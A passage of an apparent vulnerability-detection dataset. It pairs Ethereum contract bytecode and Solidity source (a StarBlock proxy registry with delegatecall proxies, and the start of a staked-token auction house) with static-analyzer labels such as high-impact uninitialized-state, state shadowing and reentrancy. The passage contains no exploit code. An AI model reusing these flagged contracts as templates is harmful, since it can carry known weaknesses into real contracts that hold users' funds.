2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000601a819055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561239557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60175481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900460ff1681565b6040805190810160405280600381526020017f4e4643000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125b057600080fd5b601860029054906101000a900460ff161515156125cc57600080fd5b6001601860026101000a81548160ff0219169083151502179055506001601860016101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561269157600080fd5b806009819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b60085481565b60105481565b600e5481565b60195481565b600060406004810160003690501015151561270157fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561273d57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561278b57600080fd5b6127dd83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287283600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139d490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561298c57600080fd5b60046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156129fc57600080fd5b600081111515612a0b57600080fd5b612a20816007546139d490919063ffffffff16565b600781905550612a7881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139d490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b2f8160046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b60046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000601a819055505050565b60145481565b601860029054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612d1057600080fd5b505af1158015612d24573d6000803e3d6000fd5b505050506040513d6020811015612d3a57600080fd5b81019080805190602001909291905050509050809250505092915050565b60095481565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612daa57612ee4565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f3990db2d31862302a685e8086b5755072a6e2b5b780af1ee81ece35ee3cd3345338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612f6c57600080fd5b601860029054906101000a900460ff16151515612f8857600080fd5b6001601860006101000a81548160ff02191690831515021790555042600e81905550426016819055506001905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561301657600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156130db57600080fd5b505af11580156130ef573d6000803e3d6000fd5b505050506040513d602081101561310557600080fd5b8101908080519060200190929190505050905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601a5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561320757600080fd5b6000601a819055506000601b819055505b8151601b5410156132555761323881601a546139d490919063ffffffff16565b601a81905550601b60008154809291906001019190505550613218565b60046000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601a54111515156132c757600080fd5b6000601b819055505b8151601b541015613315576132fe82601b548151811015156132ee57fe5b90602001906020020151826133d6565b601b600081548092919060010191905055506132d0565b6000601a819055505050565b6a31a17e847807b1bc00000081565b60075481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561339257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561343257600080fd5b60046000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156134a257600080fd5b6000811115156134b157600080fd5b61350381600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139d490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135ba8160046000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b60046000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808314156137315760009050613750565b818302905081838281151561374257fe5b0414151561374c57fe5b8090505b92915050565b6000601860029054906101000a900460ff1615151561377457600080fd5b613789826007546139d490919063ffffffff16565b6007819055506137e182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139d490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138988260046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b60046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156139c957fe5b818303905092915050565b600081830190508281101515156139e757fe5b809050929150505600a165627a7a72305820a9cade961e0af6c767b759dbce7bd076b0c54f2cda2cd9694daa424bc43df1f40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 2,645 |
0x8324cDBbcb60A503283a2e39e74A8Cc04798d0e4
|
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract TokenRecipient {
event ReceivedEther(address indexed sender, uint amount);
event ReceivedTokens(address indexed from, uint256 value, address indexed token, bytes extraData);
/**
* @dev Receive tokens and generate a log event
* @param from Address from which to transfer tokens
* @param value Amount of tokens to transfer
* @param token Address of token
* @param extraData Additional data to log
*/
function receiveApproval(address from, uint256 value, address token, bytes extraData) public {
ERC20 t = ERC20(token);
require(t.transferFrom(from, this, value));
emit ReceivedTokens(from, value, token, extraData);
}
/**
* @dev Receive Ether and generate a log event
*/
function () payable public {
emit ReceivedEther(msg.sender, msg.value);
}
}
contract ProxyRegistry is Ownable {
/* DelegateProxy implementation contract. Must be initialized. */
address public delegateProxyImplementation;
/* Authenticated proxies by user. */
mapping(address => OwnableDelegateProxy) public proxies;
/* Contracts pending access. */
mapping(address => uint) public pending;
/* Contracts allowed to call those proxies. */
mapping(address => bool) public contracts;
/* Delay period for adding an authenticated contract.
This mitigates a particular class of potential attack on the Wyvern DAO (which owns this registry) - if at any point the value of assets held by proxy contracts exceeded the value of half the WYV supply (votes in the DAO),
a malicious but rational attacker could buy half the Wyvern and grant themselves access to all the proxy contracts. A delay period renders this attack nonthreatening - given two weeks, if that happened, users would have
plenty of time to notice and transfer their assets.
*/
uint public DELAY_PERIOD = 2 weeks;
/**
* Start the process to enable access for specified contract. Subject to delay period.
*
* @dev ProxyRegistry owner only
* @param addr Address to which to grant permissions
*/
function startGrantAuthentication (address addr)
public
onlyOwner
{
require(!contracts[addr] && pending[addr] == 0);
pending[addr] = now;
}
/**
* End the process to nable access for specified contract after delay period has passed.
*
* @dev ProxyRegistry owner only
* @param addr Address to which to grant permissions
*/
function endGrantAuthentication (address addr)
public
onlyOwner
{
require(!contracts[addr] && pending[addr] != 0 && ((pending[addr] + DELAY_PERIOD) < now));
pending[addr] = 0;
contracts[addr] = true;
}
/**
* Revoke access for specified contract. Can be done instantly.
*
* @dev ProxyRegistry owner only
* @param addr Address of which to revoke permissions
*/
function revokeAuthentication (address addr)
public
onlyOwner
{
contracts[addr] = false;
}
/**
* Register a proxy contract with this registry
*
* @dev Must be called by the user which the proxy is for, creates a new AuthenticatedProxy
* @return New AuthenticatedProxy contract
*/
function registerProxy()
public
returns (OwnableDelegateProxy proxy)
{
require(proxies[msg.sender] == address(0));
proxy = new OwnableDelegateProxy(msg.sender, delegateProxyImplementation, abi.encodeWithSignature("initialize(address,address)", msg.sender, address(this)));
proxies[msg.sender] = proxy;
return proxy;
}
}
contract StarBlockProxyRegistry is ProxyRegistry {
string public constant name = "Project StarBlock Proxy Registry";
/* Whether the initial auth address has been set. */
bool public initialAddressSet = false;
function setDelegateProxyImplementation(address implementation) onlyOwner public
{
require(delegateProxyImplementation == address(0));
delegateProxyImplementation = implementation;
}
/**
* Grant authentication to the initial Exchange protocol contract
*
* @dev No delay, can only be called once - after that the standard registry process with a delay must be used
* @param authAddress Address of the contract to grant authentication
*/
function grantInitialAuthentication (address authAddress)
onlyOwner
public
{
require(!initialAddressSet);
initialAddressSet = true;
contracts[authAddress] = true;
}
}
contract OwnedUpgradeabilityStorage {
// Current implementation
address internal _implementation;
// Owner of the contract
address private _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
/**
* @dev Tells the proxy type (EIP 897)
* @return Proxy type, 2 for forwarding proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId) {
return 2;
}
}
contract AuthenticatedProxy is TokenRecipient, OwnedUpgradeabilityStorage {
/* Whether initialized. */
bool initialized = false;
/* Address which owns this proxy. */
address public user;
/* Associated registry with contract authentication information. */
ProxyRegistry public registry;
/* Whether access has been revoked. */
bool public revoked;
/* Delegate call could be used to atomically transfer multiple assets owned by the proxy contract with one order. */
enum HowToCall { Call, DelegateCall }
/* Event fired when the proxy access is revoked or unrevoked. */
event Revoked(bool revoked);
/**
* Initialize an AuthenticatedProxy
*
* @param addrUser Address of user on whose behalf this proxy will act
* @param addrRegistry Address of ProxyRegistry contract which will manage this proxy
*/
function initialize (address addrUser, ProxyRegistry addrRegistry)
public
{
require(!initialized);
initialized = true;
user = addrUser;
registry = addrRegistry;
}
/**
* Set the revoked flag (allows a user to revoke ProxyRegistry access)
*
* @dev Can be called by the user only
* @param revoke Whether or not to revoke access
*/
function setRevoke(bool revoke)
public
{
require(msg.sender == user);
revoked = revoke;
emit Revoked(revoke);
}
/**
* Execute a message call from the proxy contract
*
* @dev Can be called by the user, or by a contract authorized by the registry as long as the user has not revoked access
* @param dest Address to which the call will be sent
* @param howToCall Which kind of call to make
* @param calldata Calldata to send
* @return Result of the call (success or failure)
*/
function proxy(address dest, HowToCall howToCall, bytes calldata)
public
returns (bool result)
{
require(msg.sender == user || (!revoked && registry.contracts(msg.sender)));
if (howToCall == HowToCall.Call) {
result = dest.call(calldata);
} else if (howToCall == HowToCall.DelegateCall) {
result = dest.delegatecall(calldata);
}
return result;
}
/**
* Execute a message call and assert success
*
* @dev Same functionality as `proxy`, just asserts the return value
* @param dest Address to which the call will be sent
* @param howToCall What kind of call to make
* @param calldata Calldata to send
*/
function proxyAssert(address dest, HowToCall howToCall, bytes calldata)
public
{
require(proxy(dest, howToCall, calldata));
}
}
contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
/**
* @dev Tells the type of proxy (EIP 897)
* @return Type of proxy, 2 for upgradeable proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () payable public {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
/**
* @dev Upgrades the implementation address
* @param implementation representing the address of the new implementation to be set
*/
function _upgradeTo(address implementation) internal {
require(_implementation != implementation);
_implementation = implementation;
emit Upgraded(implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the proxy owner
* @return the address of the proxy owner
*/
function proxyOwner() public view returns (address) {
return upgradeabilityOwner();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
/**
* @dev Allows the upgradeability owner to upgrade the current implementation of the proxy.
* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
/**
* @dev Allows the upgradeability owner to upgrade the current implementation of the proxy
* and delegatecall the new implementation for initialization.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner {
upgradeTo(implementation);
require(address(this).delegatecall(data));
}
}
contract OwnableDelegateProxy is OwnedUpgradeabilityProxy {
constructor(address owner, address initialImplementation, bytes calldata)
public
{
setUpgradeabilityOwner(owner);
_upgradeTo(initialImplementation);
require(initialImplementation.delegatecall(calldata));
}
}
|
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea5780631a86ac4f1461017457806338b6e4071461019d57806353376d1f146101c05780635eebea20146101e157806369dc9ff314610214578063715018a6146102355780638da5cb5b1461024a57806397204d8e1461027b578063c455279114610290578063d4e8e063146102b1578063ddd81f82146102d2578063e71a02e1146102e7578063ebc0be54146102fc578063ef7f38341461031d578063f2fde38b1461033e575b600080fd5b3480156100f657600080fd5b506100ff61035f565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610189610398565b604080519115158252519081900360200190f35b3480156101a957600080fd5b506101be600160a060020a03600435166103a1565b005b3480156101cc57600080fd5b506101be600160a060020a036004351661045c565b3480156101ed57600080fd5b50610202600160a060020a0360043516610494565b60408051918252519081900360200190f35b34801561022057600080fd5b50610189600160a060020a03600435166104a6565b34801561024157600080fd5b506101be6104bb565b34801561025657600080fd5b5061025f610527565b60408051600160a060020a039092168252519081900360200190f35b34801561028757600080fd5b5061025f610536565b34801561029c57600080fd5b5061025f600160a060020a0360043516610545565b3480156102bd57600080fd5b506101be600160a060020a0360043516610560565b3480156102de57600080fd5b5061025f6105dd565b3480156102f357600080fd5b5061020261077c565b34801561030857600080fd5b506101be600160a060020a0360043516610782565b34801561032957600080fd5b506101be600160a060020a03600435166107de565b34801561034a57600080fd5b506101be600160a060020a036004351661083a565b6040805190810160405280602081526020017f50726f6a6563742053746172426c6f636b2050726f787920526567697374727981525081565b60065460ff1681565b600054600160a060020a031633146103b857600080fd5b600160a060020a03811660009081526004602052604090205460ff161580156103f85750600160a060020a03811660009081526003602052604090205415155b80156104205750600554600160a060020a038216600090815260036020526040902054429101105b151561042b57600080fd5b600160a060020a0316600090815260036020908152604080832083905560049091529020805460ff19166001179055565b600054600160a060020a0316331461047357600080fd5b600160a060020a03166000908152600460205260409020805460ff19169055565b60036020526000908152604090205481565b60046020526000908152604090205460ff1681565b600054600160a060020a031633146104d257600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600154600160a060020a031681565b600260205260009081526040902054600160a060020a031681565b600054600160a060020a0316331461057757600080fd5b600160a060020a03811660009081526004602052604090205460ff161580156105b65750600160a060020a038116600090815260036020526040902054155b15156105c157600080fd5b600160a060020a03166000908152600360205260409020429055565b33600090815260026020526040812054600160a060020a03161561060057600080fd5b600154604080513360248201819052306044808401919091528351808403909101815260649092019092526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f485cc955000000000000000000000000000000000000000000000000000000001790529091600160a060020a0316906106876108ce565b8084600160a060020a0316600160a060020a0316815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156106f15781810151838201526020016106d9565b50505050905090810190601f16801561071e5780820380516001836020036101000a031916815260200191505b50945050505050604051809103906000f080158015610741573d6000803e3d6000fd5b50336000908152600260205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316179055919050565b60055481565b600054600160a060020a0316331461079957600080fd5b600154600160a060020a0316156107af57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031633146107f557600080fd5b60065460ff161561080557600080fd5b6006805460ff199081166001908117909255600160a060020a0390921660009081526004602052604090208054909216179055565b600054600160a060020a0316331461085157600080fd5b600160a060020a038116151561086657600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6040516105af806108df833901905600608060405234801561001057600080fd5b506040516105af3803806105af8339810160409081528151602083015191830151909201610046836401000000006100e0810204565b61005882640100000000610102810204565b81600160a060020a03168160405180828051906020019080838360005b8381101561008d578181015183820152602001610075565b50505050905090810190601f1680156100ba5780820380516001836020036101000a031916815260200191505b50915050600060405180830381855af491505015156100d857600080fd5b505050610165565b60018054600160a060020a031916600160a060020a0392909216919091179055565b600054600160a060020a038281169116141561011d57600080fd5b60008054600160a060020a031916600160a060020a038316908117825560405190917fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b91a250565b61043b806101746000396000f3006080604052600436106100825763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025313a281146100c85780633659cfe6146100f95780634555d5c91461011c5780634f1ef286146101435780635c60da1b1461019d5780636fde8202146101b2578063f1739cae146101c7575b600061008c6101e8565b9050600160a060020a03811615156100a357600080fd5b60405136600082376000803683855af43d806000843e8180156100c4578184f35b8184fd5b3480156100d457600080fd5b506100dd6101f7565b60408051600160a060020a039092168252519081900360200190f35b34801561010557600080fd5b5061011a600160a060020a0360043516610206565b005b34801561012857600080fd5b5061013161022e565b60408051918252519081900360200190f35b60408051602060046024803582810135601f810185900485028601850190965285855261011a958335600160a060020a03169536956044949193909101919081908401838280828437509497506102339650505050505050565b3480156101a957600080fd5b506100dd6101e8565b3480156101be57600080fd5b506100dd6102dc565b3480156101d357600080fd5b5061011a600160a060020a03600435166102eb565b600054600160a060020a031690565b60006102016102dc565b905090565b61020e6101f7565b600160a060020a0316331461022257600080fd5b61022b81610370565b50565b600290565b61023b6101f7565b600160a060020a0316331461024f57600080fd5b61025882610206565b30600160a060020a03168160405180828051906020019080838360005b8381101561028d578181015183820152602001610275565b50505050905090810190601f1680156102ba5780820380516001836020036101000a031916815260200191505b50915050600060405180830381855af491505015156102d857600080fd5b5050565b600154600160a060020a031690565b6102f36101f7565b600160a060020a0316331461030757600080fd5b600160a060020a038116151561031c57600080fd5b7f5a3e66efaa1e445ebd894728a69d6959842ea1e97bd79b892797106e270efcd96103456101f7565b60408051600160a060020a03928316815291841660208301528051918290030190a161022b816103e0565b600054600160a060020a038281169116141561038b57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316908117825560405190917fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b91a250565b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820420f34ce9749e0a83490eb408f11ac626c260759c1f021263976bead2bad15450029a165627a7a72305820e7d94f0aa638d7541e8e55665c206391f47d667cfb825ffe1832ab82cacf28ab0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,646 |
0x2ba0a37c6603a79400806955e75be1c1219235be
|
/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
/// StakedTokenAuctionHouse.sol
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract SAFEEngineLike {
function transferInternalCoins(address,address,uint256) virtual external;
function createUnbackedDebt(address,address,uint256) virtual external;
}
abstract contract TokenLike {
function transferFrom(address,address,uint256) virtual external returns (bool);
function transfer(address,uint) virtual external returns (bool);
}
abstract contract AccountingEngineLike {
function totalOnAuctionDebt() virtual external returns (uint256);
function cancelAuctionedDebtWithSurplus(uint256) virtual external;
}
/*
* This thing lets you auction a token in exchange for system coins that are then used to settle bad debt
*/
contract StakedTokenAuctionHouse {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "StakedTokenAuctionHouse/account-not-authorized");
_;
}
// --- Data ---
struct Bid {
// Bid size
uint256 bidAmount; // [rad]
// How many staked tokens are sold in an auction
uint256 amountToSell; // [wad]
// Who the high bidder is
address highBidder;
// When the latest bid expires and the auction can be settled
uint48 bidExpiry; // [unix epoch time]
// Hard deadline for the auction after which no more bids can be placed
uint48 auctionDeadline; // [unix epoch time]
}
// Bid data for each separate auction
mapping (uint256 => Bid) public bids;
// SAFE database
SAFEEngineLike public safeEngine;
// Staked token address
TokenLike public stakedToken;
// Accounting engine
address public accountingEngine;
// Token burner contract
address public tokenBurner;
